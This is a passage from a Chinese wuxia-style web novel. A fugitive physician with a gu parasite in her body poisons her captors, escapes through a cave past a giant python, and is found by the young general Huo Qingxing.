唯有贴身藏着,才能让她安心。 好歹,她是朝廷钦犯,为了躲避各种危险,早有自己的应对之策。 刚把东西藏好,外头忽然传来了动静。 “应该是醒了。” 很熟悉的声音。 是个女的。 应该就是那个女道士。 果不其然,房门打开,外头的光骤然袭来,刺得陈识月睁不开眼睛,慌忙用手阻挡了一下,好半晌才逐渐适应,看清楚了来人。 “月大夫。”女道士似笑非笑的看向她,“我们又见面了。” 陈识月倒也不恼,没有她预想中的惊颤,“不是又见面了,而是你……原就是冲着我来的。” “呵!”女道士点点头,“月大夫真是冰雪聪明。” 陈识月转身回到桌案前坐着,“不是我冰雪聪明,而是你们的伎俩太拙劣,手段太明显。说吧,你们究竟想干什么?” “月大夫其实心里很清楚吧?”女道士不慌不忙的坐下,“我们想干什么,取决于月大夫能给与什么,又或者是说,那些不属于月大夫的东西,什么时候能还回来?” 不属于她的东西? 这意思是,他们愿意把东西拿出来? 可是,代价呢? 没有无缘无故的示好,也没有无缘无故的退让,只有得寸进尺的索取,贪得无厌的野心。 “你们拿不到,所以只能要求我奉还,是这个意思吗?”陈识月脑子一转就明白了。 都是谨慎小心之人,都深谙岐黄之术,即便蛊毒这种东西不在她的熟悉范围内,但也不是一问三不知的程度。 对方显然哽了一下,没想到陈识月竟知道得这么多? “到了我这里的东西,你们拿不回来了,就开始蛊惑我,想要我亲自取出来还给你们,又或者是达成协议,让我继续做药人,而你们从我身上得到好处。”陈识月忽然觉得,自己腰杆挺起来了。 哟,他们也有担心害怕的时候? 那这个,到底是什么东西呢? “你们各种尝试失败,在山坳里拿活人试药已经不是一年两年,不是一次两次,最后唯有我让你们看到了希望的曙光。”陈识月继续说,“可这东西有个弊端,因为它是活的,活物进入了药人的身体里,就会让你们失去控制,尤其是从一开始……你们就没采取措施。” 当时情况紧急,陈识月刚被种下蛊虫,就因为衙门和霍青行带人闯入,硬生生让他们失去了对蛊虫的牵制,以至于这活物快速进了陈识月的身子,最后与她融为一处。 “时间过去了那么久,这东西喜欢我远胜过你们,换言之只有我能操控,只是我不曾接触过,所以一时间没办法掌控其中奥妙。”陈识月仔细观察着女道士,在她脸上看出了惊恐与慌乱。 大概没想到,陈识月竟是什么都猜到了? “你就不害怕吗?”女道士冷着嗓音,“有东西在你体内,与你逐渐融为一体,最后到底谁才是宿主,那可就不一定了。” 陈识月嗤笑,“你少吓唬我,我自己也是大夫,有些事情我自己能明辨真假与是非,不需要你在这里颠倒黑白,糊弄我。” 对方愣怔了一下,转而又好像明白了什么,兀自冷笑两声,“你知道又如何?现在不得自由,谁还能来救你?” “我为什么要等别人来救我?为何不能自救?”陈识月不明白,“我自己就可以救自己。” 女道士陡然警觉起来,“你想说什么?” “我想说,你不觉得难受吗?”陈识月似笑非笑的看向她,“没有感觉到异常?” 下一刻,女道士陡然站起身来,谁知身形一晃,“你的东西不都……” “不都被你们收走了?可那又如何?我是大夫,又不是木偶,自己的东西不得自己藏起来吗?除非你扒了我的皮,要不然的话,我就要扒你的皮!”陈识月深吸一口气,瞧着女道士想张嘴喊人。 可惜,她没力气了。 身子就像是一滩烂泥,软绵绵的倒在地上,连呼吸都费劲,何况其他。 “你们害死了那么多人,还指望我能手下留情吗?那么多孩子,秀儿也死在你们手里,我就算不为自己,也得为他们报仇。”陈识月居高临下的睨着,口吐鲜血的女道士,“你罪有应得,你该死!” 女道士直勾勾的瞪大眼睛,愣是吐不出半句话来,终是僵直了身子,再无动弹。 陈识月蹲下来,伸手探了探她的颈动脉,其后好似摸到了什么。 手一撕,竟是撕下一张假皮。 假的? 气味有点不同,但很接近,可见是相处过的,但应该不是原来那个女子…… 假的! 羽睫骇然扬起,掌声随之而来。 只瞧着黑衣斗篷出现在门口,嗓音如出一辙,“下手狠辣,果真是没让我失望,月大夫的手段层出不穷,若不是我防着你一手,还真是……要死你手上了。你故意落单,就是等着杀我吧?” 陈识月眯起危险的眸子,对方甚至知道,她对气味特别敏感,找了个与她身形相似,气味相似的替死鬼,可见不容小觑。 “与我合作,如何?”女人低低的笑着。 陈识月裹了裹后槽牙,轻轻啐了一口,“凭什么?” 第二百二十六章 她不是等人救的废物 黑衣斗篷缓步靠近,但也堪堪站在安全距离之外,显然也是忌惮陈识月的,大概她也没看清楚,陈识月到底是怎么出手的? 不过是一眨眼的功夫,人就已经躺在了地上,快速毒发身亡,连说遗言的机会都没有,若是自己靠太近的,只怕也会落得如斯下场。 她是真的看出来了,陈识月生得柔弱,但骨子里却倔得跟驴一样,甚至于下手杀人连眼睛都不带眨一下,这样的女子显然不是能惹得起的。 都说量小非君子,无毒不丈夫。 可实际上呢? 黄蜂尾后针,最毒妇人心。 陈识月可不是心慈手软之人,本就是大夫,下起手来更是快准狠,只要她动了杀念,一定距离之内,必定可以得手。 正因为看清楚了如此,所以她不敢靠近…… “就凭你的命,现在在我手里。”女子阴测测的开口。 嗓音里,带了几分咬牙切齿。 “是吗?”陈识月冷笑,“你要是能杀得我,怕也不用等到现在,你真以为自己能轻而易举的抓住我,是因为自己有本事?蠢货,是我放了水,不想被人时时刻刻惦记,只能主动自投罗网咯!” 黑衣斗篷深吸一口气,“我倒要看看,你身上还能有多少可用之物?” “你若不信邪,大可以试试,看我仅存的东西能不能杀光这里的所有人?”陈识月目光沉沉,满满的自信让对方迟疑了。 谁都不敢拿生死之事开玩笑,毕竟什么都可以重来,就这条命只有一次。 四目相对,谁怯懦,谁后退。 最后退出去的是黑衣斗篷,一直逆光而立,一直藏匿在黑暗中,不曾表露过真容,陈识月能分辨出她,单纯是靠鼻子靠气味。 “呵呵,既如此,那就先等等看吧!”黑衣斗篷已经退到了门口,“饿你两日,且看最后谁输谁赢?月大夫,人的精力有限,不可能时时刻刻都防备着。” 说着,她转身准备离开。 “就算不能时刻防备着,但你确定自己一定会赢?”陈识月依旧站在那里,“我现在的身子状况,你应该很清楚吧?不要再自欺欺人,也别想糊弄我,你们谁也伤不了我,强大的愈合能力让我与常人不同,若非如此,你何至于怕我至此?” 正因为这样,所以她可以肆无忌惮的伤人,但别人却伤不了她,所以这黑衣斗篷才会如此忌惮,毕竟现在的陈识月就像是穿了防护铠甲。 百毒不侵,伤不了分毫。 “给我老实待着!”女人像是被戳中了软肋,愤愤的离开。 陈识月一点都不恼,瞧着房门逐渐关上,屋内再度恢复了一片漆黑。 呵,以为这样就能关住她? 笑话! 屋子里所有可利用的东西,都是她的利器,反正没人敢靠近她,她放肆一点又能如何?更何况,这也不是放肆,是自救。 原以为一个女人,掀不起大浪来,可没想到的是…… 起火了! 浓烟滚滚,从门缝里透出来。 门外的守卫骇然心惊,“坏了,起火了!” 房门的守卫慌忙打开了门,若是里面的人烧死了,他们还守个屁啊! 谁知一进门,顿时烟熏火燎,什么都看不清楚,再定睛一看……看不到了,因为眼前发黑,顿时感知全无,直挺挺的倒在了地上。 陈识月以湿帕子捂着口鼻,从烟熏中走出来,头也不回的走出去。 助纣为虐的伥鬼,能是什么好东西? 死一个少一个! 别说什么无辜,落在他们手里的人,哪个不无辜? 纵恶,也该死。 出了门,她便快速出了院子。 到了外头才晓得,这是个两进的院子,不过也难不倒她,前面有人她就从后面走,别的不会,爬树的本事倒是一等一的好。 得益于常年采药,一直在山中穿梭,姑娘家虽然柔弱,但也懂得自保,有时候爬树就是避险的一项本事,所幸她穿的罗裙都是精简的,手脚并用就上了树。 院中一颗水杉高耸至极,爬上去能看清楚小院的全貌,哪儿有人,哪儿能出去,一目了然。 而底下的人,都低头或者是左顾右盼,谁有事没事的抬头看树?这绿荫葱葱的水杉,能将一袭靛蓝的陈识月藏得严严实实,若不仔细辨认,根本看不出树上有个人。 底下忽然闹起来,“起火了!起火了!” 顷刻间,所有人都动了起来,朝着关押她的房间跑去。 大概没料到,眨眼间的功夫,屋子里就没人了,黑衣斗篷都傻眼了。 跑得这么快? 屋内是两个壮汉的尸体,不知是先被熏死,还是先被毒死。 总归,没个好下场。 到了这会,黑衣斗篷才确信,这位月大夫真的心狠手辣。 “给我追!务必要抓活的!记住了,一定要抓活的!这一次,我非得把她掏心挖肺不可!”黑衣斗篷咬牙切齿,似乎是恨到了极致。 如陈识月所言,寻常外伤根本动不了她分毫,但总有弱点吧?要是缺胳膊少腿又或者是缺了内脏,那她还能活吗? 但所有的臆想都有个前提:人呢?! “人呢!”黑衣斗篷歇斯底里。 该死的东西,属猹的吗?钻得那么快! 陈识月跑路的本事,自然毋庸置疑,朝廷这么多年都没能抓住她这朝廷钦犯,可想而知她临机应变的能力有多强。 下水就游,上岸就跑,不行爬树…… 除了大型野兽,其他的都得绕着她跑。 从树上下来之后,她撒腿就跑,从偏门出去的,倒是真的没想到这帮人居然把她带那么远,这里不是街道,可能是谁家的别院,用来静养之用。 跑出院子之后不是山道,周遭都是树木,要穿过这一片林子,才能回到人群拥挤的街道,才能离开这片山林。 山道蜿蜒,虽然好走却不能走,否则后面的人追上来,第一眼就能看到她,所以她就往林子里跑,没有路就自己跑出一条路,但前提是…… 没有陷阱。 跑的时候还是要注意的,否则在林子里乱跑,在山中乱窜,很容易变成某些兽类的晚餐。 陈识月跑得飞起,手中一根长棍子随时探着前方,以免自己踩到陷阱或者是捕兽夹,这方面她还是颇有些经验的。 当你跑的时候千万不要回头,要不然会自己把自己摔死,全部的注意力都必须落在地上,脑子会在最短的时间内,判断前方是安全还是危险。 即便如此,后面的人还是追了上来,快马加鞭,凶神恶煞…… 第二百二十七章 对待敌人,她从不手软 这仿佛回到了当年,后面有大批的官军在搜捕,陈识月就像是丢了魂似的,满脑子都是母亲说过的那些话:活下去,要活着! 活着,就得往前跑,不要回头。 她撒丫子跑,铆足劲的跑,全身心都是对生存的渴望,再无其他。 “搜!” “你们去那边,我们去这边,分开搜。” “她一个女子,肯定跑不远。” “荒山野岭,她绝对跑不了。” “快搜!” 陈识月跑得脚底冒烟,才不管身后会有什么动静,忽然脚下一顿,瞧着周遭的地势地貌,似乎有些不太对劲。 因为永安县四周环水,所以山林里多洞窟,穿梭其中就容易塌陷,不远处刚好有个黑漆漆的山洞。 之前在街头晃悠的时候,听人议论的时候提起过,好多洞窟都是各自相连的,这就意味着从这里进去,不定要从哪个方向钻出来,内里四通八达,极容易迷失方向。 林中奔跑目标太大了,何况那些人都是青年壮汉,这会已经追到了后面…… “快,在这里!” 眼一闭,陈识月便钻进了洞窟里。 迷失在里面,总好过被他们抓回去吧?这洞窟里到底有多少东西,谁知道呢?但再可怕也没有人性可怕,没有比人心更黑暗。 里面很黑,进去之后要稍稍适应才能继续往前走,凉风习习,应该是有出口的,不是死洞穴,只是不知道这里面会通往何处? 陈识月放慢了脚步,愈发握紧了手中的树枝,一边走一遍试探着前方,避免蛇虫鼠蚁的靠近。 后面,传来了脚步声。 那些人也跟着进来了,只不过没一会就点起了明晃晃的火把。 “看着她跑进来的。” “人呢?” “这边有分叉口。” “分开找,我就不信一个小女子,真的能逃出这么多人的包围圈。” “你们去这边,你们几个跟我来。” 即便是分开找,一波也有十几个人,这还不包括外头在林子里转悠的。 陈识月躲在暗处,静静的看着这一切,所以他们这是倾巢而出了吗?就为了抓她一人?真是煞费苦心,看得出来势在必得的决心。 “这边好像有脚印。” 有人高声喊。 洞窟内即便有火把,也是分外漆黑,这是天然形成的溶洞,内里四通八达,他们的手里没有地形图,也只能是靠着直觉往前走,不知道前面是什么,也不晓得有什么等着他们。 陈识月知道,现在出去依旧是羊入虎口,那就来点狠的吧,来一波收拾一波,来一批干掉一批,不管是死是活,反正她不能落在这些人的手里。 体内的蛊虫,是极为特殊的存在,可能让人活,也可能让人死,又或者是利用她与蛊虫,制造出更多的不受伤的军士,这些东西落在敌国细作或者是不怀好意的人手中,就会成为祸国殃民的刀子。 所有的刀子,最终指向无辜的百姓和我朝将士…… 陈识月痛恨朝廷的不公,善恶不分的帝王,以至于国公府一案牵连了父亲,让自己几乎成了无父无母的孤儿。 但她骨子里流淌着徐家和父亲正直的血液,不能因为个人的爱恨,让边关的将士,无辜百姓遭受祸害,这种情况下,她能做的就是让这些祸害……少一个算一个! 这些人从她跟前走过去,无一人发现她藏匿在狭窄的缝隙里,与黑暗融为一体,她尽量让自己呼吸平稳,避免发出太大的动静,等这帮人过去之后,缓缓钻了出来。 这边没有风,未必有出口,所以…… 她抬头,瞧着上方的水滴不断的落下,心下已有了盘算。 如陈识月所料,前面已无路,这帮人只能是骂骂咧咧的转回来,沿路返回。 只不过,头顶的水“吧嗒”、“吧嗒”的止不住落下,时不时的落在他们的头上,肩头,沾了衣襟,湿了衣裳。 在这样阴森的洞窟之中,湿漉漉的感觉让人分外难受。 更让人难受的是,明明是沿路返回,但不知道为何,走着走着便觉得整个人都有些喘不上气来,恍惚间好似脚下疲软,身子都有些摇摇欲坠起来。 第一个扶着墙的是走在最前面的,紧接着是后面的人,然后一个接一个的撑不住了,逐渐神情涣散,纷纷倒地。 陈识月徐徐侧出了半个身子,看了一眼倒在地上的这帮人,确定他们再也爬不起来之后,便从地上捡起了一块石头,开始不断的敲击着岩石表面。 洞窟里的回声很大,她这边敲打着,那边就传来了脚步声,显然是对方察觉到了异常,正在往这边靠拢过来。 算计着时间差不多了,陈识月转身进了一条狭窄的缝隙。 不多时,之前分开走的另一批人,快速跑了回来。 然而没多久,他们也开始出现了同样的症状,紧接着便是齐刷刷的倒地,然后一个两个都开始痉挛抽搐,最后没了动静。 及至一切归于平静,陈识月才从缝隙里钻出来,缓步朝着原先的洞口走去,外头依旧有人看着,但这一点都不影响,毕竟她也不会往这走。 深吸一口气,陈识月布置好了一些陷阱,捡起一根火把,熄灭另一根火把留着备用,转身朝着洞内深处走去。 火光摇曳,内里晦暗不明。 外头的人一直没等到里面的动静,终是忍不住了,纷纷朝着内里走去。 不多时,惨叫声此起彼伏。 声音在洞内回响,陈识月走得更快了,毕竟所有的陷阱也好,毒粉也罢,都是有限量的,终究会被他们闯进来,她不能坐以待毙。 石峰里渗出的水,还在滴答滴答的往下落,偶尔滴在脖颈处,冻得人止不住打了个激灵。 忽然间,耳畔传来了异样的动静。 陈识月猛地顿住脚步,一颗心砰砰乱跳,手持火把环顾四周,黑漆漆的洞窟内,只见着怪石嶙峋,倒是没瞧见别的什么,有风呼啦啦的从上方掠过,偶尔还能听到有暗河流动的声音。 什么东西? 蝙蝠? 像是什么嘶嘶声? 蛇? 这可说不准,毕竟这样的洞窟里面,有蛇是很正常的事情,幽暗而潮湿,很适合蛇类寄居。 陈识月只觉得浑身的鸡皮疙瘩都立了起来,下意识的往后退了两步,却骤觉身后有声音响起,慌忙转身,借着火光朝后看去。 下一刻,她骇然瞪大眸子…… 第二百二十八章 他们的默契,只有他能看见 远处的石柱上,有黑影正盘悬着从上往下落,浓郁的腥臭味被风吹过来,争先恐后的涌入陈识月的鼻腔,让她有一瞬的懵逼,其后便是下意识的后退。 即便四下昏暗,即便视野不佳,凡有常识都很清楚那是什么,何况空气里若有若无的腥臭味,已经证明了一切。 陈识月不是没见过蛇,但从未见过这么大的蛇,比她的腿都粗,盘踞在头顶的钟乳石石柱上,发出刺耳的呲呲声,昭示着它已经进入了戒备状态,不管谁靠近都会遭受它的愤怒攻击。 好在这里还有一条路,只不过道路狭窄,不知道前方还有什么危险,但眼下似乎也没有别的办法,若是在这里久留,后面的人追上来,只怕…… 一咬牙,陈识月便从缝隙里钻了进去。 她很清楚,大蟒追上来的话,这么狭窄只够一人独行的缝隙,会让她无路可逃,最后成为巨蟒的口中食,但很奇怪的是,巨蟒没有追上来。 动物都有趋利避害的本能,就像是毒蛇也怕更毒的蛇,巨蟒畏惧陈识月…… 陈识月在前面走着,不理会后面的动静,只握紧了手中的火把,小心翼翼的朝着前面走去,直到有湿润的风扑在了面上,她才如释重负的松了口气。 殊不知,后面人仰马翻。 场面,惊悚万分。 在大自然面前,人类始终是渺小的,尤其是在巨型危险动物面前,简直不堪一击,尤其是不适宜人类生存的环境里,本身就让人处于劣势。 在别人的地盘上恣意妄为,是要付出血淋淋的代价的…… 巨蟒的嘶吼声,人群的尖叫,纷乱的脚步,黑暗中毫无章法的乱窜,一下子四散开来,哪儿还顾得上思考陈识月在何处? 陈识月不敢回头,即便如此,黑暗中仍被偶尔突出的尖锐岩石划伤,鲜血渗出而不自知,毕竟只要伤口不大,她都会在最短的时间内愈合,这点小伤根本不足为虑。 不知道跑了多远,四下豁然开朗,一下子迎面而来的风,吹得她都有些心神震荡,待回过神来,空气里弥漫着浓郁的水汽,哗啦啦的水声更是清楚无比。 陈识月握紧了手中的火把,瞧着眼前偌大的空间,继续摸索着朝前走去,迎着风走……应该可以走出去吧?又或者是顺着河流走? 有风就有空气,危险会小一些,但还是要防范着,以免再生意外。 殊不知,她这厢失踪,困在了洞窟内,外头早已天翻地覆。 那位傻大个,差点把整个永安县都掀个底朝天…… 人丢了,徐家的人找疯了。 “少将军不见了。”安信揉着酸痛的脖颈,急急忙忙的来找林序。 林序这会还盯着诗文大会这边呢,听得这消息,瞬时像极了炸毛的狮子,“你你你,你让我说你什么好?看个人都看不住,少将军如今脑子不太好,你这……哎呦,真是成事不足败事有余。” “你也别骂我了,赶紧想个辙吧!”安信脸色也不太好,“我还挨打了呢!” 挨打? “少将军怎么没一巴掌扇死你?”林序插着腰,来回转悠,气得直挠头,“还愣着作甚,带着弟兄们去找啊!我去跟金都那边的人交代一声。” 见安信还愣着,林序眉心一皱,“还愣着干什么?走啊!赶紧把人找回来,少将军如今的状态,谁知道还能做出什么事情来?” “哦哦哦!”安信撒腿就跑。 不得不说,霍青行下手不轻,安信这会都还有些晕晕乎乎的,好在不耽误事。 只是,霍青行会去哪儿呢? 徐家的人全部出去找,亦是没找到任何的踪迹,便是商家这边,高秀娥也在找人,那个女道士连同陈识月消失得无影无踪。 这会家里的商野突然发起了高热 ,身子烧得滚烫,若是陈识月还不回来,恐生意外,高秀儿哪敢耽误?商家的人也在街上找,里里外外,一条街一条街的找过去。 “还愣着干什么,都给我找,就算据地三尺,也要把人找到。”高秀娥急得直跳脚。 底下人来报,说是徐家的人也在找人,可想而知,陈识月应该没有回徐家,那个女道士消失了,说明陈识月可能是落在女道士的手中。 思及此处,怎不让高秀娥担心? 怪只怪自己心太急,竟是贸贸然轻信了那个女道士的话,就这么把陈识月送进了老虎嘴里,现在报应来了,商野躺在那里烧得滚烫,再这样下去……唯恐性命不保。 诗文大会里,暗潮涌动。 诗文大会外,人心惶惶。 奇怪的是,陈识月不见踪影,霍青行也是消失得无影无踪,这两人好像会心灵感应,又或者是有什么,外人不可知的秘密。 霍青行跑得飞快,好像是认准了一个目标。 尤其是夜色暗下来之后,他就像是蛰伏在黑暗中的豹子,目光更为锐利,身后随行两个暗卫,吃力的跟着他的行迹,终是赶到了四合院。 夜色黑沉,羸弱的光亮落在他眼里,却是那样的鲜明。 是生的希望,是她给的希望。 四合院里静悄悄的,霍青行掀开了马车的门帘,里面残存的荧光,代表着陈识月的行踪,她曾经坐在这马车里,一路行至与此。 暗卫面面相觑,不知道少将军是凭什么,找到这里的? 气味? 他们没闻到。 记号? 一路上也没瞧见少将军寻找。 这是怎么找到的? 霍青行纵身消失在黑暗之中,再出现便是在屋脊上,底下的房间里,有人围聚在一起,似乎是在商议着什么。 什么洞窟? 什么人进去? 什么巨蟒…… 诸多的声音叽叽喳喳的,交杂在一起,足以说明发生了什么意外之事,因为每个人的声音里,都透着几分激动,可能是惶恐也可能是惊惧。 “进洞窟了?”有人问。 “是!咱们的人追进去了,第一批全部被毒杀,第二批则是见到了巨蟒,出来的都是蛇口逃生之人,想必那女子如此羸弱,定然也被巨蟒吃了。” 四下,一片沉默。 霍青行皱起眉头,心里隐约能猜到,他们口中的“那女子”说的,可能就是陈识月。 “未必,我们谁都没瞧见巨蟒吃人,何以证明人死了?” “没错,我们都没有亲眼所见,不能相信。” “那怎么办?巨蟒挡路,我们过不去!” “看看有没有别的路,绕过去?” “继续找!” “是!” 霍青行沉着脸,当即跟上了这帮人。 第二百二十九章 五毒看到她,掉头就跑 暗卫其实不明白,自家少将军,是怎么找到这地方的,好像是看一眼,闻着味就过来,不知道是有千里眼呢?还是有狗鼻子? 但事实就是,少将军真的找到了地方,追踪到了人…… 前方就是那个石窟,所有人都停了下来,他们倒是想看看这石窟到底有多少个出口,可惜最终不能如愿,因为这石窟几乎只是入口处留在地面上,其他都隐匿在山中,要想找其他的出口,你就得在山里转悠着一圈。 但转悠需要时间,等转完了,人早跑了! “出来没有?”有人问。 守在洞口的人连连摇头,“一个都没出来。” 仿佛是有魔咒,这个洞窟只进不出,令人望而生畏,好似里头有吃人的猛兽。 事实是,真的有猛兽。 后来又有人进去,所幸从蟒口逃生,但这么一来,所有人都知道这洞窟里面盘踞着一条巨蟒,不管它是从哪儿来的,但这都是它的老巢,想要进去,就得面对这么一个会伤人的庞然大物。 谁也不敢拿自己的性命开玩笑,这要是遇上了……刀枪剑戟都没用,便是自己这点三脚猫的功夫,怕是都不够人家一个巨蟒摆尾。 虽然都想立功,想要抓住陈识月,但无人想死。 死了,便是什么都没了。 “准备弓箭。”面对面,硬碰硬是不可能的,但是其他倒是有可能。 比如说,远程射箭。 要是打不赢,那就跑。 “是!” 这帮人开始折腾,背着弓箭,谁知一道风掠过,好似有黑影闪烁。回过神来,却是什么都没发现,也不知道是不是这山中有妖? 毕竟,这么大的蛇他们平日里也没见过,保不齐真的是山精妖怪之类,怎不让人心生畏惧? 人一害怕,想象力就丰富了。 各种想法,各种说辞。 时间久了,便有了各种传说…… 或好,或坏。 “你们方才有没有看到什么?” “没有啊!” “我怎么觉得背上凉飕飕的?” “你可莫要胡说,这深山老林怪瘆人的。” 众人都有种不寒而栗之感,但谁也没敢退缩。 殊不知,霍青行早就带着人进去了。 洞窟内阴森可怖,凉意瘆人。 之前的尸体还留在洞内,一则是因为毒发太可怖,不敢上前收拾,怕还有陷阱;二则来不及收拾,他们还忙着追赶陈识月,暂时无暇顾及同伴的身后事。 这就让霍青行避免了很多麻烦,他能看到黑暗中的荧光闪烁,跟上她的脚步,走向那狭窄的缝隙,避开了与巨蟒的正面接触。 暗卫都有些懵逼,没想到少将军对危险的感知程度,这般敏锐,甚至于可以精准无误的避开,他们甚至于可以远远的看见被水光照亮的巨蟒,但又完全无需接触。 就是这道狭窄的缝隙,让人身处其中,有种喘不上气来的感觉,好像分外压抑,随时会有突出的锐利石块划伤他们。 所幸,他们全身包裹,只是会遭受轻撞,不会出血。 初极狭,后豁然开朗。 站在出口这里,视线和周遭忽然便得开阔,便是霍青行都在原地站了站,显然是没料到,会一下子变成这样? 那么,陈识月人呢? 陈识月当时也只是愣了愣,然后便继续往前走,她可不是温室里的话多,也不是闺阁里的千金小姐,她是在山野间野蛮生长的带刺玫瑰,谁也阻挡不了她前进的脚步。 这地方乱世嶙峋,但水声渐明。 她手持火把,缓步朝前走去,沿着边上的小道摸索着往下走,及至暗河边上,清凉的水风让她看到了希望。 陈识月继续朝前走,确定早已将身后的人甩开,可以放慢脚步,慢慢的、安全的走。 凉风习习,空气里满是湿润的水汽,且这地方还算是恒温,也难怪蛇能在这里盘踞成巢,想必人不会吃饱了撑得,没事干来钻洞窟。 上次在洞窟里,还是因为这些人,当时发现了青女树,可惜后来为了安全起见,以免有心人拿这些霍乱无辜之人,最后不得不毁了那样难得的宝贝。 萤火虫在暗河上飞旋,但又不敢靠近陈识月,似乎是察觉到了她身上的异常,连石头缝里的蜈蚣蝎子,都不敢靠她太近。 陈识月坐下来休息一会,将火把插在石头缝里,却只瞧见蝎子扑簌簌的爬走,蜘蛛也跟着逃离,甚至于还有几只蛤蟆,慌忙跳进了水里,生怕沾了她分毫。 那一刻,陈识月是慌张的,有一种变成了怪物的慌张。 人与动物的区别就是,人可能会被眼睛蒙蔽,但是动物却靠本能躲避危险,就像是五毒……遇见了比他们更毒的,就会慌忙逃离。 现在的状况,似乎就是这样…… 陈识月看向自己的双手,忽然好似想起了什么,慌忙拔下簪子,往掌心里狠狠划拉一道。 血滴落在地上的瞬间,原本只是想离她远一点的蛇虫鼠蚁,刹那间跑得飞起,恨不能离她十万八千里,跑得远远的。 陈识月:“……” 这么毒吗? 她划拉的伤口不深,只足够滴血,在她迟疑的瞬间,血已经止住了,浅薄的伤口正在以肉眼可见的速度,发生了逐渐愈合的状况。 陈识月将发簪在水中洗干净,然后簪回自己的发髻上,谁知…… 原本在浅水处游荡的一些小鱼,忽然间翻了肚皮,直接浮在水面上,然后随波逐流,被逐渐冲远,消失在她的视线里。 陈识月仿佛丢了魂一般,愣愣的站在原地没有反应。 簪子上只是沾了一点血而已,分量并不多,所以…… 她看着自己完好如初的手掌心,陈识月意识到自己好像真的成了怪物,而这个怪物不能出血,否则的话,会给身边人带来不幸。 是药人? 是毒人? 还是…… 陈识月紧握成拳,默默的站起身来,抓起了火把继续往前走,不管怎样,还有外祖父和舅舅给她兜底,既然母亲留给她的医书里有这方面的记载,是否也说明,外祖父或者是舅舅,也懂得这些? 取出蛊虫应该没那么容易,但若是压制,应该可以吧? 思及此处,陈识月加快了脚步。 身后,一道暗影悄然出现,黑暗中眸色幽深的盯着,陈识月逐渐远去的背影…… 第二百三十章 我是你的人 陈识月走得飞快,但她是个小心谨慎的性子,即便走得飞快,也会时刻留意着身后的动静,所以走出去没多一会,她就意识到了事情不太对劲。 当然,她不会鲁莽行事,明知道身后有人跟着,哪儿还敢停下来,只寻思着要如何把人甩掉?追踪了那么久,又没有下手,说明对方对她……还是有所图的。 有所图最好,就怕什么都不图,只要她的命,那她就真的死定了。 陈识月握紧手中的火把,想着要如何才能躲避过去,又或者是想个办法绕到后面,把被动变成主动,这样才能给自己争取时间。 这陌生的洞窟,四通八达,她其实心里也没底,不知道要怎么才能狠走出去,道路不熟,各种想法和盘算都只能小心谨慎的实行。 忽然间,脚下被绊住。 “啊……”陈识月冷不丁重心不稳,直接就扑在了地上,火把一下子甩出去老远。 边上就是暗河,火把甩出去的时候,刚好沾到了水,顷刻间火光熄灭,四下骤然漆黑一片,人在突然遭遇黑暗时,都会下意识的屏住呼吸,保持静默的状态。 比如,现在的陈识月。 又比如,身后的人。 突如其来的黑暗,不一定是坏事,陈识月能敏锐的察觉到了黑暗中的气息,眼睛看不见的时候,其他的五官都会变得格外敏锐。 现在的她,能清晰嗅到异样的气味,但是透着几分熟悉,所以她几乎能肯定,来人的身份…… 深吸一口气,她小心翼翼的撑起身子,然后猫着腰,快速钻进了一旁的巨石后面。 她站在那里,屏住呼吸,当自己是一块石头。 一动不动。 气味依旧相隔一段距离,对方没有动。 陈识月敛眸,那就都不动。 敌不动,我不动。 可能一下子失去了光亮,对方心里也是一惊,眼睛未能及时适应黑暗,所以等人回过神,以为陈识月会重新捡起火把,重新点燃光亮。 没想到,过了好一会,依旧没有任何的动静。 火光没有重现,四下依旧一片漆黑。 等人反应过来,早已没了陈识月的踪迹。 人呢? 黑影快速跑过去,其后朝前急追而去。 见此情形,陈识月还是比较相信自己的直觉的,总觉得这可能只是对方的虚晃一枪,所以她依旧停留在原地。 对方从这条路要是没追到人,肯定会察觉到走错了路,毕竟旁边还有一条小路,肯定会返回来从小路离开。 待对方走后,她只是从巨石后面走出去,捡起了落地的火把,然后又躲了回去。 不过片刻,对方便折返回来,大概意识到这自己追错了路,尤其是瞧着方才火光消失的地方,那个火把也消失了,便意识到陈识月是顺着另一条路走了。 在人走之后,陈识月才朝着最初的路快速跑过去,进去之后她也不急着点燃火把,而是一路朝前跑。 眼睛已经稍稍适应了黑暗,只要留意脚下,应该不至于太艰难。 到了分叉路口,陈识月点燃了火把,然后又是虚晃一枪。 光亮,在黑暗中格外明显。 那人追了一段路,没能找到她,肯定又会折返回来,到时候大老远瞧见此处的光亮,应该就会明白自己被耍了,那么……又得开始疲于奔命的乱跑。 可惜,她随身的小包暂时没能拿回来,仅存的毒都用在了入口位置,不然的话,定不会让这人在自己跟前蹦跶。 陈识月躲在暗处,瞧着那人又跟没头苍蝇似的,开始到处转悠,一会跑这边,一会跑那边,倒是忙得很,她就蹲在黑暗的角落里。 还好她身形消瘦,这狭窄的缝隙足够她藏匿其中,不被人察觉…… 脚步声一会近,一会远。 人,一会跑,一会回。 她蹲在那里一动不动,假装自己是石头,不会呼吸不会动,不惧怕任何人发现。 那人兴许是真的要疯了,快被陈识月逗猫逗狗一样,被她逗弄疯了,来来回回的跑,换谁不疯,关键是连陈识月的影子都没看见,不过是一眨眼的功夫,一个活生生的大活人,就这么消失在黑暗中,谁敢相信呢? 但偏偏,这就是事实。 陈识月消失了,让人一度怀疑,是不是已经冲出了洞窟? 不管怎样,都得找。 陈识月抱膝蹲在角落里,不知道自己在黑暗中待了多久。 蓦地,她忽然嗅到了熟悉的气味。 黑暗中,熟悉的气息。 羽睫骇然扬起,陈识月猛地抬起头,瞧着驻足在洞外的那双腿,即便身处黑暗之中,亦是这样的清晰,宛若神祗降临,来得那样恰当好处。 “小月儿。”他蹲下来。 那一刻,即便隔着黑暗,即便看得不真切,却也能感觉到彼此的炙热。 他伸出手,摊开掌心。 她能清晰的感触到,属于他的掌心温度。 几乎没有任何的犹豫,她冰凉的手当即放在了他的掌心,被他紧紧握住,然后他另一手挡在了她的头顶,避免她太过激动而磕着头。 出来的那一刻,她还是蹲麻了,双腿疼得直打颤,骤然失力的扑在了霍青行的怀中。 “小月儿!”霍青行的嗓音里都带着颤,“伤着哪儿了?” 被人掳走,被人追着跑的时候,她真的一点都不带委屈的,毕竟这些年遇见过的事情多了,这点事儿又算得了什么呢? 但是当她扑在霍青行的怀里,听得他真心实意的惊惧,因为担心而声音发颤的时候,她是真的觉得委屈了,一下子就哽咽了。 “我没事。”她带着哭腔,“腿麻了。” 霍青行旋即蹲下来,“来!” 陈识月没有任何的犹豫,快速伏在他的背上。 “我背你出去。”霍青行抬步就走。 陈识月伸手,轻轻抱住了他的脖颈。 